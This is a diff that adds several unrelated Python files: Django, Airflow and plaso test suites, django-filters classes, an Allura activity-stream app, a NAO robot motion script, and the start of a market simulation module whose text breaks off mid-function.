diff --git a/pool/shard009/Python/0084051_py.test-script.py b/pool/shard009/Python/0084051_py.test-script.py new file mode 100644 index 0000000000000000000000000000000000000000..0664fed1557d9a60775022a825324c55752590b2 --- /dev/null +++ b/pool/shard009/Python/0084051_py.test-script.py @@ -0,0 +1,12 @@ +#!C:\work\Python36-32\python.exe +# EASY-INSTALL-ENTRY-SCRIPT: 'pytest==2.3.4','console_scripts','py.test' +__requires__ = 'pytest==2.3.4' +import re +import sys +from pkg_resources import load_entry_point + +if __name__ == '__main__': + sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) + sys.exit( + load_entry_point('pytest==2.3.4', 'console_scripts', 'py.test')() + ) diff --git a/pool/shard009/Python/0084054_transit_subsidy_model_tests.py b/pool/shard009/Python/0084054_transit_subsidy_model_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..2446bdd15c56e773e9c8c397a422280649cdcb02 --- /dev/null +++ b/pool/shard009/Python/0084054_transit_subsidy_model_tests.py @@ -0,0 +1,139 @@ +import time +from django.utils.unittest.case import skipIf +from datetime import datetime +from django.test import TestCase +from django.contrib.auth.models import User +from transit_subsidy.models import TransitSubsidy,TransitSubsidyForm,OfficeLocation +from django.contrib.auth.models import User + +class TransportationSubsidyModelTest(TestCase): + fixtures = ['offices.json','users.json'] + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + def setUp(self): + """ + Assumes valid user + """ + self.user = User.objects.get(username='jimi') + is_logged_in = self.client.login(username='jimi',password='jimi') + self.assertTrue(is_logged_in, 'Client not able to login?! Check fixture data or User creation method in setUp.') + self.office = OfficeLocation.objects.order_by('city')[0] + + + def tearDown(self): + pass + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + + def test_wrong_days_at_work_should_cause_form_error(self): + data = self._get_good_post_data() + data['number_of_workdays'] = 50 + t_form = TransitSubsidyForm( data ) + self.assertFalse( t_form.is_valid() , "Should be a bad form for WORK DAYS") + data['number_of_workdays'] = -1 + t_form = TransitSubsidyForm( data ) + self.assertFalse( t_form.is_valid() , "Should be a bad form for WORK DAYS") + + + def test_wrong_amount_at_work_should_cause_form_error(self): + data = self._get_good_post_data() + data['amount'] = 500 + t_form = TransitSubsidyForm( data ) + self.assertFalse( t_form.is_valid() , "Should be a bad form for AMOUNT") + data['amount'] = -1 + t_form = TransitSubsidyForm( data ) + self.assertFalse( t_form.is_valid() , "Should be a bad form for AMOUNT") + + + + def test_bad_ssn_should_cause_form_error(self): + data = self._get_good_post_data() + data['last_four_ssn'] = '*bZ' + t_form = TransitSubsidyForm( data ) + self.assertFalse( t_form.is_valid() , "Should be a bad form SSN.") + + + def test_unicode_should_return_test_user(self): + self._set_transit_subsidy() + trans = TransitSubsidy.objects.filter(user=self.user)[0] + actual = unicode(trans).find('jimi') + self.assertTrue( actual > 0 ) + + + def test_basic_transit_subsidy_model_creation(self): + self._set_transit_subsidy() + actual = TransitSubsidy.objects.filter(user=self.user) + self.assertEquals( self.user, actual[0].user, "Different users" ) + + + + def test_unicode_to_string(self): + expected = 'jimi' + self._set_transit_subsidy() + ts = TransitSubsidy.objects.filter(user=self.user) + actual = unicode(ts[0].user) + self.assertEquals( expected, actual, "Why this thing went horribly wrong." ) + + + def test_enroll_then_cancel(self): + t = self._set_transit_subsidy() + id = t.pk + ts = TransitSubsidy.objects.get(pk=id) + _now = datetime.now() + time.sleep(.379987612123676871236) #try to throw a wrench in time + ts.date_withdrawn = _now + ts.save() + ts2 = TransitSubsidy.objects.get(pk=id) + self.assertEquals( ts2.date_withdrawn, _now, "These values should be the same" ) + self.assertEquals( ts2.date_withdrawn, ts.date_withdrawn, "These values should be the same" ) + + + + #Util method + def _get_good_post_data(self): + return { 'date_enrolled' : datetime.now(), + 'timestamp' : datetime.now(), + 'data_withdrawn': None, + 'last_four_ssn': '1111', + 'origin_street': '123 Main St.', + 'origin_city':'Anytown', + 'origin_state':'OO', + 'origin_zip':'12345', + 'route_description': 'from here to there', + 'destination': self.office.id, + 'number_of_workdays': 20, + 'daily_roundtrip_cost' : 8, + 'daily_parking_cost': 4, + 'amount': 125, + 'terms_of_service' : True, + 'supervisor_approval': True} + + + + def _set_transit_subsidy(self): + transit = TransitSubsidy() + office = OfficeLocation.objects.order_by('city')[0] + + transit.user = self.user + transit.signature = 'foo' + transit.destination = office + transit.date_enrolled = '2011-06-23' + transit.date_withdrawn = None + + transit.origin_street = '123 Main Street' + transit.origin_city = 'Anytown' + transit.origin_state = 'VA' + transit.origin_zip = '22222' + transit.route_description = "Harbor bus to City Subway stop to Work Subway" + + transit.number_of_workdays = 20 + transit.daily_roundtrip_cost = 8 + transit.daily_parking_cost = 4 + transit.amount = 8 + transit.total_commute_cost = 160 + transit.dc_wmta_smartrip_id = '123-123-123' + + transit.save() + return transit + \ No newline at end of file diff --git a/pool/shard009/Python/0084055_test_provider_endpoint.py b/pool/shard009/Python/0084055_test_provider_endpoint.py new file mode 100644 index 0000000000000000000000000000000000000000..693331e7738f5c6969680fff24fa716c1a670d8f --- /dev/null +++ b/pool/shard009/Python/0084055_test_provider_endpoint.py @@ -0,0 +1,123 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +from collections import OrderedDict +from unittest import mock + +import pytest + +from airflow.security import permissions +from tests.test_utils.api_connexion_utils import create_user, delete_user + +MOCK_PROVIDERS = OrderedDict( + [ + ( + 'apache-airflow-providers-amazon', + ( + '1.0.0', + { + 'package-name': 'apache-airflow-providers-amazon', + 'name': 'Amazon', + 'description': '`Amazon Web Services (AWS) `__.\n', + 'versions': ['1.0.0'], + }, + ), + ), + ( + 'apache-airflow-providers-apache-cassandra', + ( + '1.0.0', + { + 'package-name': 'apache-airflow-providers-apache-cassandra', + 'name': 'Apache Cassandra', + 'description': '`Apache Cassandra `__.\n', + 'versions': ['1.0.0'], + }, + ), + ), + ] +) + + +@pytest.fixture(scope="module") +def configured_app(minimal_app_for_api): + app = minimal_app_for_api + create_user( + app, # type: ignore + username="test", + role_name="Test", + permissions=[(permissions.ACTION_CAN_READ, permissions.RESOURCE_PROVIDER)], + ) + create_user(app, username="test_no_permissions", role_name="TestNoPermissions") # type: ignore + + yield app + + delete_user(app, username="test") # type: ignore + delete_user(app, username="test_no_permissions") # type: ignore + + +class TestBaseProviderEndpoint: + @pytest.fixture(autouse=True) + def setup_attrs(self, configured_app) -> None: + self.app = configured_app + self.client = self.app.test_client() # type:ignore + + +class TestGetProviders(TestBaseProviderEndpoint): + @mock.patch( + "airflow.providers_manager.ProvidersManager.providers", + new_callable=mock.PropertyMock, + return_value={}, + ) + def test_response_200_empty_list(self, mock_providers): + response = self.client.get("/api/v1/providers", environ_overrides={'REMOTE_USER': "test"}) + assert response.status_code == 200 + assert response.json == {"providers": [], "total_entries": 0} + + @mock.patch( + "airflow.providers_manager.ProvidersManager.providers", + new_callable=mock.PropertyMock, + return_value=MOCK_PROVIDERS, + ) + def test_response_200(self, mock_providers): + response = self.client.get("/api/v1/providers", environ_overrides={'REMOTE_USER': "test"}) + assert response.status_code == 200 + assert response.json == { + 'providers': [ + { + 'description': 'Amazon Web Services (AWS) https://aws.amazon.com/', + 'package_name': 'apache-airflow-providers-amazon', + 'version': '1.0.0', + }, + { + 'description': 'Apache Cassandra http://cassandra.apache.org/', + 'package_name': 'apache-airflow-providers-apache-cassandra', + 'version': '1.0.0', + }, + ], + 'total_entries': 2, + } + + def test_should_raises_401_unauthenticated(self): + response = self.client.get("/api/v1/providers") + assert response.status_code == 401 + + def test_should_raise_403_forbidden(self): + response = self.client.get( + "/api/v1/providers", environ_overrides={'REMOTE_USER': "test_no_permissions"} + ) + assert response.status_code == 403 diff --git a/pool/shard009/Python/0084059_timezone.py b/pool/shard009/Python/0084059_timezone.py new file mode 100644 index 0000000000000000000000000000000000000000..1ce136c875070fe0c533fa73373f93f8d666f76d --- /dev/null +++ b/pool/shard009/Python/0084059_timezone.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Tests for the timezone Windows Registry plugin.""" + +import unittest + +from dfdatetime import filetime as dfdatetime_filetime +from dfwinreg import definitions as dfwinreg_definitions +from dfwinreg import fake as dfwinreg_fake + +from plaso.parsers.winreg_plugins import timezone + +from tests.parsers.winreg_plugins import test_lib + + +class WinRegTimezonePluginTest(test_lib.RegistryPluginTestCase): + """Tests for the timezone Windows Registry plugin.""" + + def _CreateTestKey(self, key_path, time_string): + """Creates Registry keys and values for testing. + + Args: + key_path (str): Windows Registry key path. + time_string (str): key last written date and time. + + Returns: + dfwinreg.WinRegistryKey: a Windows Registry key. + """ + filetime = dfdatetime_filetime.Filetime() + filetime.CopyFromDateTimeString(time_string) + registry_key = dfwinreg_fake.FakeWinRegistryKey( + 'TimeZoneInformation', key_path=key_path, + last_written_time=filetime.timestamp, offset=153) + + value_data = 'C:\\Downloads\\plaso-static.rar'.encode('utf_16_le') + registry_value = dfwinreg_fake.FakeWinRegistryValue( + '1', data=value_data, data_type=dfwinreg_definitions.REG_SZ, + offset=612) + registry_key.AddValue(registry_value) + + value_data = b'\xff\xff\xff\xc4' + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'ActiveTimeBias', data=value_data, + data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN) + registry_key.AddValue(registry_value) + + value_data = b'\xff\xff\xff\xc4' + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'Bias', data=value_data, + data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN) + registry_key.AddValue(registry_value) + + value_data = b'\xff\xff\xff\xc4' + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'DaylightBias', data=value_data, + data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN) + registry_key.AddValue(registry_value) + + value_data = '@tzres.dll,-321'.encode('utf_16_le') + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'DaylightName', data=value_data, + data_type=dfwinreg_definitions.REG_SZ) + registry_key.AddValue(registry_value) + + value_data = ( + b'\x00\x00\x03\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00') + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'DaylightStart', data=value_data, + data_type=dfwinreg_definitions.REG_BINARY) + registry_key.AddValue(registry_value) + + value_data = b'\x00\x00\x00\x00' + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'DynamicDaylightTimeDisabled', data=value_data, + data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN) + registry_key.AddValue(registry_value) + + value_data = b'\x00\x00\x00\x00' + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'StandardBias', data=value_data, + data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN) + registry_key.AddValue(registry_value) + + value_data = '@tzres.dll,-322'.encode('utf_16_le') + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'StandardName', data=value_data, + data_type=dfwinreg_definitions.REG_SZ) + registry_key.AddValue(registry_value) + + value_data = ( + b'\x00\x00\x0A\x00\x05\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00') + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'StandardStart', data=value_data, + data_type=dfwinreg_definitions.REG_BINARY) + registry_key.AddValue(registry_value) + + value_data = 'W. Europe Standard Time'.encode('utf_16_le') + registry_value = dfwinreg_fake.FakeWinRegistryValue( + 'TimeZoneKeyName', data=value_data, + data_type=dfwinreg_definitions.REG_SZ) + registry_key.AddValue(registry_value) + + return registry_key + + def testFilters(self): + """Tests the FILTERS class attribute.""" + plugin = timezone.WinRegTimezonePlugin() + + key_path = ( + 'HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Control\\' + 'TimeZoneInformation') + self._AssertFiltersOnKeyPath(plugin, key_path) + + self._AssertNotFiltersOnKeyPath(plugin, 'HKEY_LOCAL_MACHINE\\Bogus') + + def testProcessMock(self): + """Tests the Process function on created key.""" + key_path = ( + 'HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Control\\' + 'TimeZoneInformation') + time_string = '2013-01-30 10:47:57' + registry_key = self._CreateTestKey(key_path, time_string) + + plugin = timezone.WinRegTimezonePlugin() + storage_writer = self._ParseKeyWithPlugin(registry_key, plugin) + + self.assertEqual(storage_writer.number_of_events, 1) + self.assertEqual(storage_writer.number_of_extraction_warnings, 0) + self.assertEqual(storage_writer.number_of_recovery_warnings, 0) + + events = list(storage_writer.GetEvents()) + + expected_configuration = ( + 'ActiveTimeBias: -60 ' + 'Bias: -60 ' + 'DaylightBias: -60 ' + 'DaylightName: @tzres.dll,-321 ' + 'DynamicDaylightTimeDisabled: 0 ' + 'StandardBias: 0 ' + 'StandardName: @tzres.dll,-322 ' + 'TimeZoneKeyName: W. Europe Standard Time') + + expected_event_values = { + 'configuration': expected_configuration, + 'date_time': '2013-01-30 10:47:57.0000000', + 'data_type': 'windows:registry:timezone', + 'key_path': key_path} + + self.CheckEventValues(storage_writer, events[0], expected_event_values) + + def testProcessFile(self): + """Tests the Process function on registry file.""" + test_file_entry = self._GetTestFileEntry(['SYSTEM']) + key_path = ( + 'HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Control\\' + 'TimeZoneInformation') + + win_registry = self._GetWinRegistryFromFileEntry(test_file_entry) + registry_key = win_registry.GetKeyByPath(key_path) + + plugin = timezone.WinRegTimezonePlugin() + storage_writer = self._ParseKeyWithPlugin( + registry_key, plugin, file_entry=test_file_entry) + + self.assertEqual(storage_writer.number_of_events, 1) + self.assertEqual(storage_writer.number_of_extraction_warnings, 0) + self.assertEqual(storage_writer.number_of_recovery_warnings, 0) + + events = list(storage_writer.GetEvents()) + + expected_configuration = ( + 'ActiveTimeBias: 240 ' + 'Bias: 300 ' + 'DaylightBias: -60 ' + 'DaylightName: @tzres.dll,-111 ' + 'DynamicDaylightTimeDisabled: 0 ' + 'StandardBias: 0 ' + 'StandardName: @tzres.dll,-112 ' + 'TimeZoneKeyName: Eastern Standard Time') + + expected_event_values = { + 'configuration': expected_configuration, + 'data_type': 'windows:registry:timezone', + 'date_time': '2012-03-11 07:00:00.0006424', + 'key_path': key_path} + + self.CheckEventValues(storage_writer, events[0], expected_event_values) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0084064_filters.py b/pool/shard009/Python/0084064_filters.py new file mode 100644 index 0000000000000000000000000000000000000000..e74a98172f73d29c7f7af7a1133386dcd0982357 --- /dev/null +++ b/pool/shard009/Python/0084064_filters.py @@ -0,0 +1,144 @@ +from roundware.rw.models import (Event, Asset, ListeningHistoryItem, Tag, TagRelationship, + TagCategory, UIItem, UIGroup) +from distutils.util import strtobool +import django_filters + +BOOLEAN_CHOICES = (('false', False), ('true', True), + (0, False), (1, True),) + + +class IntegerListFilter(django_filters.Filter): + def filter(self, qs, value): + if value not in (None, ''): + integers = [int(v) for v in value.split(',')] + return qs.filter(**{'%s__%s' % (self.name, self.lookup_type): integers}) + return qs + + +class WordListFilter(django_filters.Filter): + def filter(self, qs, value): + if value not in (None, ''): + words = [str(v) for v in value.split(',')] + for word in words: + qs = qs.filter(**{'%s__%s' % (self.name, self.lookup_type): word}) + return qs + return qs + + +class NanoNumberFilter(django_filters.NumberFilter): + def filter(self, qs, value): + value = round(value * 1000000000, 2) + return super(NanoNumberFilter, self).filter(qs, value) + + +class EventFilterSet(django_filters.FilterSet): + event_type = django_filters.CharFilter(lookup_type='icontains') + server_time = django_filters.DateTimeFilter(lookup_type='startswith') + server_time__lt = django_filters.DateTimeFilter(name='server_time', lookup_type='lt') + server_time__gt = django_filters.DateTimeFilter(name='server_time', lookup_type='gt') + session_id = django_filters.NumberFilter() + latitude = django_filters.CharFilter(lookup_type='startswith') + longitude = django_filters.CharFilter(lookup_type='startswith') + tag_ids = WordListFilter(name='tags', lookup_type='contains') + + class Meta: + model = Event + fields = ['event_type', + 'server_time', + 'session_id', + 'latitude', + 'longitude', + 'tags'] + + +class AssetFilterSet(django_filters.FilterSet): + session_id = django_filters.NumberFilter() + project_id = django_filters.NumberFilter() + tag_ids = IntegerListFilter(name='tags', lookup_type='in') + media_type = django_filters.CharFilter(name='mediatype') + language = django_filters.CharFilter(name='language__language_code') + envelope_id = django_filters.NumberFilter() + longitude = django_filters.NumberFilter(lookup_type='startswith') + latitude = django_filters.NumberFilter(lookup_type='startswith') + submitted = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool) + audiolength__lte = NanoNumberFilter(name='audiolength', lookup_type='lte') + audiolength__gte = NanoNumberFilter(name='audiolength', lookup_type='gte') + created__lte = django_filters.DateTimeFilter(name='created', lookup_type='lte') + created__gte = django_filters.DateTimeFilter(name='created', lookup_type='gte') + + class Meta: + model = Asset + fields = ['session', + 'project', + 'tags', + 'mediatype', + 'language', + 'envelope', + 'longitude', + 'latitude', + 'submitted', + 'audiolength', + 'created'] + + +class ListeningHistoryItemFilterSet(django_filters.FilterSet): + duration__lte = django_filters.NumberFilter('duration', lookup_type='lte') + duration__gte = django_filters.NumberFilter('duration', lookup_type='gte') + start_time__gte = django_filters.DateTimeFilter(name='starttime', lookup_type='gte') + start_time__lte = django_filters.DateTimeFilter(name='starttime', lookup_type='lte') + start_time__range = django_filters.DateRangeFilter(name='starttime') + + class Meta: + model = ListeningHistoryItem + fields = ['starttime', + 'session', + 'asset', + ] + + +class TagFilterSet(django_filters.FilterSet): + description = django_filters.CharFilter(lookup_type='icontains') + data = django_filters.CharFilter(lookup_type='icontains') + + class Meta: + model = Tag + + +class TagCategoryFilterSet(django_filters.FilterSet): + name = django_filters.CharFilter(lookup_type='icontains') + + class Meta: + model = TagCategory + + +class TagRelationshipFilterSet(django_filters.FilterSet): + tag_id = django_filters.NumberFilter() + parent_id = django_filters.NumberFilter() + + class Meta: + model = TagRelationship + + +class UIGroupFilterSet(django_filters.FilterSet): + name = django_filters.CharFilter(lookup_type='startswith') + ui_mode = django_filters.TypedChoiceFilter(choices=UIGroup.UI_MODES) + tag_category_id = django_filters.NumberFilter() + select = django_filters.TypedChoiceFilter(choices=UIGroup.SELECT_METHODS) + active = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool) + index = django_filters.NumberFilter() + project_id = django_filters.NumberFilter() + + class Meta: + model = UIGroup + + +class UIItemFilterSet(django_filters.FilterSet): + ui_group_id = django_filters.NumberFilter() + index = django_filters.NumberFilter() + tag_id = django_filters.NumberFilter() + default = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool) + active = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool) + parent_id = django_filters.NumberFilter() + + class Meta: + model = UIItem diff --git a/pool/shard009/Python/0084065_main.py b/pool/shard009/Python/0084065_main.py new file mode 100644 index 0000000000000000000000000000000000000000..37c7ff5c3255acec9371c56ff6165bf30d9beaf1 --- /dev/null +++ b/pool/shard009/Python/0084065_main.py @@ -0,0 +1,277 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +import logging +import calendar +from itertools import islice, ifilter + +from ming.orm import session +from pylons import tmpl_context as c, app_globals as g +from pylons import request, response +from tg import expose, validate, config +from tg.decorators import with_trailing_slash, without_trailing_slash +from paste.deploy.converters import asbool, asint +from webob import exc +from webhelpers import feedgenerator as FG + +from allura.app import Application +from allura import version +from allura import model as M +from allura.controllers import BaseController +from allura.lib.security import require_authenticated, require_access +from allura.model.timeline import perm_check, get_activity_object +from allura.lib import helpers as h +from allura.lib.decorators import require_post +from allura.lib.widgets.form_fields import PageList +from allura.ext.user_profile import ProfileSectionBase + +from .widgets.follow import FollowToggle + +log = logging.getLogger(__name__) + + +class ForgeActivityApp(Application): + + """Project Activity page for projects.""" + __version__ = version.__version__ + default_mount_point = 'activity' + max_instances = 0 + searchable = False + + def __init__(self, project, config): + Application.__init__(self, project, config) + self.root = ForgeActivityController(self) + self.api_root = ForgeActivityRestController(self) + + def admin_menu(self): # pragma no cover + return [] + + def install(self, project): + role_anon = M.ProjectRole.by_name('*anonymous')._id + self.config.acl = [ + M.ACE.allow(role_anon, 'read'), + ] + + def uninstall(self, project): + pass # pragma no cover + + +class W: + follow_toggle = FollowToggle() + page_list = PageList() + + +class ForgeActivityController(BaseController): + + def __init__(self, app, *args, **kw): + super(ForgeActivityController, self).__init__(*args, **kw) + self.app = app + setattr(self, 'feed.atom', self.feed) + setattr(self, 'feed.rss', self.feed) + + def _check_security(self): + require_access(c.app, 'read') + + def _before(self, *args, **kw): + """Runs before each request to this controller. + + """ + # register the custom css for our tool + g.register_app_css('css/activity.css', app=self.app) + + def _get_activities_data(self, **kw): + activity_enabled = asbool(config.get('activitystream.enabled', False)) + if not activity_enabled: + raise exc.HTTPNotFound() + + c.follow_toggle = W.follow_toggle + c.page_list = W.page_list + if c.project.is_user_project: + followee = c.project.user_project_of + actor_only = followee != c.user + else: + followee = c.project + actor_only = False + + following = g.director.is_connected(c.user, followee) + page = asint(kw.get('page', 0)) + limit = extra_limit = asint(kw.get('limit', 100)) + # get more in case perm check filters some out + if page == 0 and limit <= 10: + extra_limit = limit * 20 + timeline = g.director.get_timeline(followee, page, + limit=extra_limit, + actor_only=actor_only) + filtered_timeline = list(islice(ifilter(perm_check(c.user), timeline), + 0, limit)) + if extra_limit == limit: + # if we didn't ask for extra, then we expect there's more if we got all we asked for + has_more = len(timeline) == limit + else: + # if we did ask for extra, check filtered result + has_more = len(filtered_timeline) == limit + return dict( + followee=followee, + following=following, + timeline=filtered_timeline, + page=page, + limit=limit, + has_more=has_more) + + @expose('jinja:forgeactivity:templates/index.html') + @with_trailing_slash + def index(self, **kw): + return self._get_activities_data(**kw) + + @expose('jinja:forgeactivity:templates/timeline.html') + def pjax(self, **kw): + return self._get_activities_data(**kw) + + @without_trailing_slash + @expose() + def feed(self, **kw): + data = self._get_activities_data(**kw) + response.headers['Content-Type'] = '' + response.content_type = 'application/xml' + d = { + 'title': 'Activity for %s' % data['followee'].activity_name, + 'link': h.absurl(self.app.url), + 'description': 'Recent activity for %s' % ( + data['followee'].activity_name), + 'language': u'en', + } + if request.environ['PATH_INFO'].endswith('.atom'): + feed = FG.Atom1Feed(**d) + else: + feed = FG.Rss201rev2Feed(**d) + for t in data['timeline']: + url = h.absurl(t.obj.activity_url.encode('utf-8')) + feed.add_item(title=u'%s %s %s%s' % ( + t.actor.activity_name, + t.verb, + t.obj.activity_name, + ' on %s' % (t.target.activity_name or ''), + ), + link=url, + pubdate=t.published, + description=t.obj.activity_extras.get('summary'), + unique_id=url, + author_name=t.actor.activity_name, + author_link=h.absurl(t.actor.activity_url)) + return feed.writeString('utf-8') + + @require_post() + @expose('json:') + @validate(W.follow_toggle) + def follow(self, follow, **kw): + activity_enabled = asbool(config.get('activitystream.enabled', False)) + if not activity_enabled: + raise exc.HTTPNotFound() + + require_authenticated() + followee = c.project + if c.project.is_user_project: + followee = c.project.user_project_of + if c.user == followee: + return dict( + success=False, + message='Cannot follow yourself') + try: + if follow: + g.director.connect(c.user, followee) + else: + g.director.disconnect(c.user, followee) + except Exception as e: + log.exception('Unexpected error following user') + return dict( + success=False, + message='Unexpected error: %s' % e) + return dict( + success=True, + message=W.follow_toggle.success_message(follow), + following=follow) + + +class ForgeActivityRestController(BaseController): + + def __init__(self, app, *args, **kw): + super(ForgeActivityRestController, self).__init__(*args, **kw) + self.app = app + + def _check_security(self): + require_access(c.app, 'read') + + @expose('json:') + def index(self, **kw): + data = self.app.root._get_activities_data(**kw) + return { + 'following': data['following'], + 'followee': { + 'activity_name': data['followee'].shortname, + 'activity_url': data['followee'].url(), + 'activity_extras': {}, + }, + 'timeline': [{ + 'published': calendar.timegm(a.published.timetuple()) * 1000, + 'actor': a.actor._deinstrument(), + 'verb': a.verb, + 'obj': a.obj._deinstrument(), + 'target': a.target._deinstrument(), + 'tags': a.tags._deinstrument(), + } for a in data['timeline']], + } + + +class ForgeActivityProfileSection(ProfileSectionBase): + template = 'forgeactivity:templates/widgets/profile_section.html' + + def __init__(self, *a, **kw): + super(ForgeActivityProfileSection, self).__init__(*a, **kw) + self.activity_app = self.project.app_instance('activity') + + def check_display(self): + app_installed = self.activity_app is not None + activity_enabled = asbool(config.get('activitystream.enabled', False)) + return app_installed and activity_enabled + + def prepare_context(self, context): + full_timeline = g.director.get_timeline( + self.user, page=0, limit=100, + actor_only=True, + ) + filtered_timeline = list(islice(ifilter(perm_check(c.user), full_timeline), + 0, 8)) + for activity in filtered_timeline: + # Get the project for the activity.obj so we can use it in the + # template. Expunge first so Ming doesn't try to flush the attr + # we create to temporarily store the project. + # + # The get_activity_object() calls are cheap, pulling from + # the session identity map instead of mongo since identical + # calls are made by perm_check() above. + session(activity).expunge(activity) + activity_obj = get_activity_object(activity.obj) + activity.obj.project = getattr(activity_obj, 'project', None) + + context.update({ + 'follow_toggle': W.follow_toggle, + 'following': g.director.is_connected(c.user, self.user), + 'timeline': filtered_timeline, + 'activity_app': self.activity_app, + }) + g.register_js('activity_js/follow.js') + return context diff --git a/pool/shard009/Python/0084071_get_transform.py b/pool/shard009/Python/0084071_get_transform.py new file mode 100644 index 0000000000000000000000000000000000000000..b0bc7ebb1666170a6c60be25775ae1d9d46f41b2 --- /dev/null +++ b/pool/shard009/Python/0084071_get_transform.py @@ -0,0 +1,30 @@ +#-*- coding: utf-8 -*- +from naoqi import ALProxy +import motion +import argparse + +# ----------> Connect to robot <---------- +robot_ip = "192.168.1.100" +robot_port = 9559 # default port : 9559 + +motionProxy = ALProxy("ALMotion", robot_ip, robot_port) + +# ----------> get Transform and print <---------- + +# Example showing how to get the end of the right arm as a transform +# represented in torso space. The result is a 4 by 4 matrix composed +# of a 3*3 rotation matrix and a column vector of positions. + +name = 'RArm' +frame = motion.FRAME_TORSO +useSensorValues = True +result = motionProxy.getTransform(name, frame, useSensorValues) +for i in range(0, 4): + for j in range(0, 4): + print result[4*i + j], + print '' + +#R R R x +#R R R y +#R R R z +#0 0 0 1 diff --git a/pool/shard009/Python/0084074_init__.py b/pool/shard009/Python/0084074_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..12a6eaa312f269565bdc4798b998cd16b917f3d1 --- /dev/null +++ b/pool/shard009/Python/0084074_init__.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# -*- coding: utf8 -*- +""" +Market module. +""" + +import sys +from fms.utils import BUY, SELL +from fms.utils.exceptions import MissingParameter + +class Market: + """ + Abstract market class + """ + + def __init__(self, parameters): + self.replay = False + if parameters: + self.outputfile = parameters.outputfile + self.csvdelimiter = parameters['csvdelimiter'] + if parameters['agents'][0]['classname'] == 'PlayOrderLogFile': + self.replay = True + else: + self.outputfile = sys.stdout + self.csvdelimiter = ';' + self.sellbook = [] + self.buybook = [] + + def __str__(self): + return "%s market %s" % (self.__class__, id(self)) + + def is_valid(self, agent, desire): + """ + Checks agent's desire validity + + Should be implemented in subclass. + """ + raise NotImplementedError + + def clear_books(self): + """ + Reset books to empty state + """ + self.sellbook = [] + self.buybook = [] + + def record_order(self, order, time, unique=True): + """ + Record agent order in correct order book + + If an order from the same agent exists on the same + asset and unique is True, delete it. + + >>> from fms.markets import Market + >>> market = Market(None) + >>> market.record_order({'direction': 1, 'quantity': 2, 'price': 3, 'agent': 'smith'}, 1) + >>> market.sellbook + [[3, 1, 2, 'smith']] + >>> market.record_order({'direction': 1, 'quantity': 3, 'price': 4, 'agent': 'smith'}, 1) + >>> market.sellbook + [[4, 1, 3, 'smith']] + >>> market.record_order({'direction': 1, 'quantity': 4, 'price': 5, 'agent': 'smith'}, 1, False) + >>> market.sellbook + [[4, 1, 3, 'smith'], [5, 1, 4, 'smith']] + + """ + if unique: + for book in (self.sellbook, self.buybook): + for line in book: + if order['agent'] == line[3]: + book.remove(line) + break +# the for loop seems faster, probably because of the break +# self.sellbook = filter((lambda x: order['agent'] != x[3]), +# self.sellbook) +# self.buybook = filter((lambda x: order['agent'] != x[3]), +# self.buybook) + + if order['direction'] == SELL: + self.sellbook.append( + [order['price'], time, order['quantity'], order['agent']]) + self.sellbook.sort() + else: + self.buybook.append( + [order['price'], -time, order['quantity'], order['agent']]) + self.buybook.sort() + + def do_clearing(self): + """ + Clears recorded desires + + Should be implemented in subclass. + """ + raise NotImplementedError + + def info(self): + """ + Returns market current state, as dict + """ + if self.__class__.__name__ == 'Market': + infodict = {'sellbook': [['unset sellbook']], + 'buybook': [['unset buybook']], + 